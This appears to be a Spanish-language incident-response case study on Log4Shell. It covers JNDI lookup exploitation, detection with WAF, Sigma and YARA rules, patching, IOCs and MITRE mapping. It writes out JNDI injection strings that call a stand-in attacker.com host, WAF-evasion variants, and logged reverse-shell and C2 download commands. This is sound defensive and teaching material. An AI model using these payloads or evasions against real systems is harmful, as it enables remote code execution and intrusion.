Log4Shell (CVE-2021-44228): Detección y Respuesta a la Vulnerabilidad del Siglo
Guía completa de detección y respuesta ante Log4Shell (CVE-2021-44228). Cómo funciona la explotación JNDI lookup, detección con WAF, SIEM y escaneo de logs, parcheado, IOCs y estrategias de hunting a largo plazo con MITRE ATT&CK.
La tormenta perfecta
El 9 de diciembre de 2021, el mundo de la ciberseguridad se detuvo. Una vulnerabilidad en Apache Log4j 2, una librería de logging tan ubicua que la mayoría de desarrolladores Java ni siquiera sabían que la usaban, permitía ejecución remota de código con un simple string. Sin autenticación. Sin interacción del usuario. En cualquier campo que la aplicación loggeara.
Log4Shell (CVE-2021-44228) recibió un CVSS de 10.0, la puntuación máxima. Años después, sigue siendo una de las vulnerabilidades más explotadas activamente según CISA KEV, y organizaciones de todo el mundo continúan descubriendo instancias vulnerables en sus infraestructuras.
En este caso de uso, recorremos la detección y respuesta a un compromiso mediante Log4Shell en una organización con múltiples aplicaciones Java, documentando las técnicas que funcionaron y las que no.
Cómo funciona Log4Shell
El mecanismo: JNDI Lookup
Log4j 2 incluye una funcionalidad llamada Message Lookups que permite interpolar variables dentro de los mensajes de log. Entre los lookups soportados está JNDI (Java Naming and Directory Interface), que permite a la aplicación consultar servicios de directorio remotos.
Cuando Log4j procesa un mensaje que contiene ${jndi:ldap://servidor-atacante/exploit}, en lugar de loggearlo como texto plano:
- Interpreta la expresión
${jndi:...}como un lookup - Realiza una conexión LDAP al servidor especificado
- El servidor LDAP responde con una referencia a una clase Java remota
- La JVM descarga y ejecuta la clase Java automáticamente
El resultado: ejecución de código arbitrario controlado por el atacante, en el contexto de la aplicación Java.
Superficie de ataque
Cualquier dato que la aplicación loggee con Log4j 2 puede ser un vector de ataque:
# Headers HTTP
User-Agent: ${jndi:ldap://attacker.com/exploit}
X-Forwarded-For: ${jndi:ldap://attacker.com/exploit}
Referer: ${jndi:ldap://attacker.com/exploit}
# Campos de formulario
username: ${jndi:ldap://attacker.com/exploit}
search: ${jndi:ldap://attacker.com/exploit}
# Cualquier input que se loggee
API parameters, email addresses, file names...
Técnicas de evasión de WAF
Los atacantes desarrollaron rápidamente técnicas para evadir las reglas de WAF que buscaban el patrón ${jndi::
# Anidamiento de lookups
${${lower:j}ndi:${lower:l}dap://attacker.com/x}
${${upper:j}ndi:${upper:l}dap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/x}
# Codificación
${jndi:ldap://attacker.com/x} → %24%7Bjndi...
${j${::-n}di:ldap://attacker.com/x}
# Protocolos alternativos
${jndi:rmi://attacker.com/x}
${jndi:dns://attacker.com/x}
${jndi:iiop://attacker.com/x}
# Combinaciones
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/x}
Contexto del incidente
Organización: empresa de servicios financieros con infraestructura Java significativa.
Infraestructura afectada:
- 15 aplicaciones Java internas y externas
- Apache Solr 8.11 (motor de búsqueda interno)
- Apache Struts 2.5 (portal de clientes)
- VMware vCenter 7.0 (gestión de virtualización)
- Elasticsearch 7.16 (logging centralizado, irónicamente)
- Múltiples microservicios Spring Boot
Timeline:
- 10 dic 2021, 08:00 UTC: El equipo de seguridad recibe la alerta de la comunidad sobre CVE-2021-44228
- 10 dic, 10:00: Comienza el inventario de aplicaciones con Log4j
- 10 dic, 14:00: Se detectan los primeros intentos de explotación en los logs del WAF
- 10 dic, 18:00: Se confirma compromiso en Apache Solr interno
- 11 dic, 02:00: Contención del servidor comprometido
- 12 dic, 00:00: Parcheado de todas las instancias identificadas
Fase 1: Inventario de activos vulnerables
El primer desafío fue identificar qué aplicaciones usaban Log4j 2. La dificultad: Log4j puede estar embebida como dependencia transitiva en docenas de librerías.
Escaneo de ficheros JAR
# Buscar log4j-core en el sistema de ficheros
$ find / -name "log4j-core-*.jar" 2>/dev/null
/opt/solr/server/lib/ext/log4j-core-2.14.1.jar
/opt/struts/lib/log4j-core-2.13.3.jar
/opt/elasticsearch/lib/log4j-core-2.15.0.jar
/var/lib/vmware/log4j-core-2.11.2.jar
/home/deploy/microservices/order-service/lib/log4j-core-2.14.0.jar
[...]
# Buscar dentro de WARs y fat JARs
$ find / -name "*.war" -o -name "*.ear" -o -name "*.jar" 2>/dev/null | \
while read f; do
jar tf "$f" 2>/dev/null | grep -q "log4j-core" && echo "$f"
done
Verificación de versiones vulnerables
| Aplicación | Versión Log4j | Vulnerable | Prioridad |
|---|---|---|---|
| Apache Solr 8.11 | 2.14.1 | Si | Critica (expuesto) |
| Apache Struts 2.5 | 2.13.3 | Si | Critica (expuesto) |
| VMware vCenter 7.0 | 2.11.2 | Si | Alta (interno) |
| Elasticsearch 7.16 | 2.15.0 | Parcial (CVE-2021-45046) | Alta |
| Order Service | 2.14.0 | Si | Alta (interno) |
| Payment Gateway | 2.17.0 | No | Baja |
Versiones vulnerables: 2.0-beta9 hasta 2.14.1. La versión 2.15.0 mitigó parcialmente pero seguía vulnerable a CVE-2021-45046. La corrección completa llegó en 2.17.1.
Fase 2: Detección de intentos de explotación
Análisis de logs del WAF
# Buscar patrones de Log4Shell en logs del WAF
$ grep -iE '\$\{jndi:|%24%7Bjndi|%2524%257Bjndi|\$\{.*j.*n.*d.*i' \
/var/log/modsecurity/audit.log
[10/Dec/2021:14:22:33] "GET / HTTP/1.1" 403
User-Agent: ${jndi:ldap://45.XX.XX.XX:1389/Basic/Command/Base64/...}
[10/Dec/2021:14:23:01] "GET /search?q=${${lower:j}ndi:${lower:l}dap://callback.attacker.com/x}" 200
[10/Dec/2021:14:45:12] "POST /api/login HTTP/1.1" 200
Body: username=${jndi:rmi://185.XX.XX.XX:1099/exploit}&password=test
El WAF bloqueó los patrones directos pero dejó pasar las variantes con anidamiento de lookups (${lower:j}).
Escaneo masivo de logs de aplicación
# Script de detección en logs de aplicación
$ cat scan_log4shell.sh
#!/bin/bash
LOG_DIRS="/var/log /opt/*/logs /home/*/logs"
PATTERNS='jndi:|JndiLookup|ldap://|rmi://|dns://|iiop://'
for dir in $LOG_DIRS; do
find "$dir" -name "*.log" -mtime -7 2>/dev/null | while read logfile; do
matches=$(grep -ciE "$PATTERNS" "$logfile" 2>/dev/null)
if [ "$matches" -gt 0 ]; then
echo "[ALERT] $logfile: $matches matches"
grep -iE "$PATTERNS" "$logfile" | head -5
fi
done
done
$ bash scan_log4shell.sh
[ALERT] /opt/solr/server/logs/solr.log: 47 matches
${jndi:ldap://45.XX.XX.XX:1389/Basic/Command/Base64/d2dldCBodHRw...}
${jndi:ldap://45.XX.XX.XX:1389/Basic/ReverseShell/185.XX.XX.XX/4444}
Detección de callbacks DNS
Una técnica común de los atacantes es usar ${jndi:dns://canary.attacker.com} para verificar si el objetivo es vulnerable antes de explotar. Estos callbacks DNS son detectables:
# Buscar en logs de DNS resolver
$ grep -iE "interact\.sh|dnslog\.cn|ceye\.io|burpcollaborator" \
/var/log/dns/query.log
10-Dec-2021 14:23:02 query: xyz123.interact.sh A IN
10-Dec-2021 14:24:15 query: abc456.dnslog.cn A IN
Reglas Sigma para SIEM
title: Log4Shell Exploitation Attempt
id: log4j-001
status: stable
description: Detects Log4Shell (CVE-2021-44228) exploitation attempts in web server logs
logsource:
category: webserver
detection:
keywords:
- '${jndi:'
- '%24%7Bjndi'
- '${${lower:j}ndi'
- '${${upper:j}ndi'
- '${${::-j}${::-n}${::-d}${::-i}'
- 'JndiLookup'
condition: keywords
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2021.44228
title: Log4Shell Callback DNS Detection
id: log4j-002
status: experimental
description: Detects DNS queries to known Log4Shell callback services
logsource:
category: dns
detection:
selection:
query|endswith:
- '.interact.sh'
- '.dnslog.cn'
- '.ceye.io'
- '.burpcollaborator.net'
- '.oastify.com'
condition: selection
level: high
tags:
- attack.initial_access
- attack.t1190
Fase 3: Confirmación de compromiso
Apache Solr comprometido
El análisis de los logs de Solr reveló explotación exitosa:
2021-12-10 14:23:15 INFO - Performing JNDI lookup: ldap://45.XX.XX.XX:1389/Basic/ReverseShell/185.XX.XX.XX/4444
2021-12-10 14:23:16 INFO - Successfully loaded class from ldap://45.XX.XX.XX:1389/...
El atacante obtuvo una reverse shell como usuario solr:
# Evidencia de la reverse shell en netstat
$ netstat -tupn | grep 4444
tcp 0 0 10.0.1.15:48231 185.XX.XX.XX:4444 ESTABLISHED 15623/java
# Procesos sospechosos lanzados por el usuario solr
$ ps aux | grep solr
solr 15623 java -jar /opt/solr/server/start.jar
solr 15891 /bin/bash
solr 15923 python3 -c "import pty;pty.spawn('/bin/bash')"
solr 16012 curl http://185.XX.XX.XX/tools/linpeas.sh
El atacante ejecutó LinPEAS (herramienta de enumeración de privilegios) y estaba en las fases iniciales de post-explotación cuando fue detectado.
Evaluación del impacto
# Revisar qué datos pudo acceder el usuario solr
$ sudo -u solr find / -readable -type f 2>/dev/null | \
grep -E 'config|password|credential|secret|key' | head -20
/opt/solr/server/solr/configsets/default/conf/solrconfig.xml
/opt/solr/server/etc/jetty-ssl.xml
/etc/solr/solr.in.sh
El atacante tuvo acceso a:
- Configuración de Solr (incluyendo conexiones a otros servicios)
- Certificados SSL del servidor Solr
- Variables de entorno con credenciales de Solr
No se encontró evidencia de escalada de privilegios ni movimiento lateral exitoso.
Fase 4: Remediación
Parcheado de emergencia
Opción 1: Actualizar Log4j (preferida)
# Actualizar a 2.17.1+ en cada aplicación
# Para Solr:
$ cd /opt/solr/server/lib/ext/
$ rm log4j-core-2.14.1.jar log4j-api-2.14.1.jar
$ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.17.1/log4j-core-2.17.1.jar
$ wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.17.1/log4j-api-2.17.1.jar
$ sudo systemctl restart solr
Opción 2: Eliminar la clase JndiLookup (mitigación temporal)
# Si no puedes actualizar inmediatamente
$ zip -q -d /opt/solr/server/lib/ext/log4j-core-2.14.1.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
$ sudo systemctl restart solr
Opción 3: Variable de entorno (mitigación parcial, no suficiente sola)
# Solo efectiva en versiones >= 2.10
$ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# O en la JVM:
$ java -Dlog4j2.formatMsgNoLookups=true -jar application.jar
Contención del servidor comprometido
# 1. Matar la reverse shell
$ sudo kill -9 15891 15923 16012
# 2. Bloquear comunicación con el C2
$ sudo iptables -I OUTPUT -d 185.XX.XX.XX -j DROP
$ sudo iptables -I OUTPUT -d 45.XX.XX.XX -j DROP
# 3. Rotar credenciales de Solr
$ sudo /opt/solr/bin/solr auth enable -type basicAuth \
-credentials admin:$(openssl rand -base64 32)
# 4. Regenerar certificados SSL
$ sudo /opt/solr/server/scripts/regenerate-certs.sh
# 5. Verificar que no hay persistencia
$ sudo crontab -u solr -l
$ find /opt/solr -newer /opt/solr/server/lib/ext/log4j-core-2.14.1.jar \
-type f 2>/dev/null
Reglas de WAF actualizadas
# ModSecurity rules para Log4Shell con evasiones
SecRule REQUEST_LINE|REQUEST_HEADERS|REQUEST_BODY|ARGS \
"@rx (?i)\$\{[\s]*(?:(?:\$\{[^}]*\})|[^}])*j[\s]*(?:(?:\$\{[^}]*\})|[^}])*n[\s]*(?:(?:\$\{[^}]*\})|[^}])*d[\s]*(?:(?:\$\{[^}]*\})|[^}])*i[\s]*:" \
"id:1000,phase:2,deny,status:403,msg:'Log4Shell attempt detected'"
Fase 5: Hunting a largo plazo
YARA para binarios Java
rule Log4j_Vulnerable_Version {
meta:
description = "Detects vulnerable versions of Log4j (2.0-beta9 to 2.14.1)"
author = "MalwareIntel Research"
severity = "critical"
strings:
$class = "JndiLookup.class" ascii
$ver1 = "log4j-core-2.14" ascii
$ver2 = "log4j-core-2.13" ascii
$ver3 = "log4j-core-2.12" ascii
$ver4 = "log4j-core-2.11" ascii
$ver5 = "log4j-core-2.10" ascii
$ver6 = /log4j-core-2\.[0-9]\./ ascii
condition:
$class and any of ($ver*)
}
Indicadores de post-explotación
Más allá de la explotación inicial, hay que buscar signos de actividad post-compromiso:
# Buscar herramientas de post-explotación descargadas
$ find / -name "linpeas*" -o -name "pspy*" -o -name "chisel*" \
-o -name "socat" -newer /var/log/syslog 2>/dev/null
# Buscar reverse shells activas
$ ss -tupn | grep -E '4444|4445|8888|9001|1234'
# Buscar procesos Java con conexiones sospechosas
$ for pid in $(pgrep java); do
echo "=== PID $pid ==="
ls -la /proc/$pid/fd 2>/dev/null | grep socket
cat /proc/$pid/net/tcp 2>/dev/null | awk '{print $2, $3}' | \
while read local remote; do
echo " $local -> $remote"
done
done
IOCs del incidente
Infraestructura del atacante
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 45.XX.XX.XX | Servidor LDAP malicioso (puerto 1389) |
| IPv4 | 185.XX.XX.XX | Servidor C2 para reverse shell |
| Puerto | 1389/tcp | LDAP malicioso para JNDI lookup |
| Puerto | 4444/tcp | Reverse shell |
| Dominio | *.interact.sh | Callback de reconocimiento |
| Dominio | *.dnslog.cn | Callback DNS |
Payloads
| Tipo | Valor |
|---|---|
| JNDI string | ${jndi:ldap://45.XX.XX.XX:1389/Basic/ReverseShell/...} |
| JNDI evasion | ${${lower:j}ndi:${lower:l}dap://...} |
| Post-exploit | LinPEAS descargado desde C2 |
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | Log4Shell en Apache Solr |
| Execution | Exploitation for Client Execution | T1203 | JNDI class loading remoto |
| Persistence | (no alcanzada) | - | Detectado antes de persistencia |
| Discovery | System Information Discovery | T1082 | LinPEAS ejecutado |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | Reverse shell sobre TCP |
| Command and Control | Ingress Tool Transfer | T1105 | Descarga de LinPEAS desde C2 |
| Resource Development | Acquire Infrastructure: Server | T1583.004 | Servidor LDAP malicioso |
Lecciones aprendidas
1. El inventario de dependencias es seguridad. La mayoría de organizaciones tardaron días en identificar todas las instancias de Log4j porque no tenían SBOM (Software Bill of Materials). Herramientas como Syft, Trivy o Dependency-Track son imprescindibles.
2. Las mitigaciones parciales no son suficientes. La variable LOG4J_FORMAT_MSG_NO_LOOKUPS solo funciona en versiones 2.10+, y CVE-2021-45046 demostró que no era suficiente. La única remediación definitiva es actualizar o eliminar la clase JndiLookup.
3. El WAF es una capa, no la solución. Las técnicas de evasión aparecieron horas después del disclosure. Un WAF bien configurado reduce la exposición pero no elimina la vulnerabilidad.
4. Logging centralizado puede ser vector y detector. En este caso, Elasticsearch era vulnerable y al mismo tiempo era la herramienta de detección. Actualizar la infraestructura de seguridad primero.
5. La respuesta a vulnerabilidades de día cero requiere playbooks preexistentes. Las organizaciones que ya tenían procesos de inventario de activos, comunicación de crisis y parcheado de emergencia respondieron en horas. Las que no, tardaron semanas.
6. Log4Shell sigue activo. Años después del disclosure, CISA sigue reportando explotación activa. Las aplicaciones legacy, los sistemas embebidos y los dispositivos IoT con Java siguen siendo vulnerables.
Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.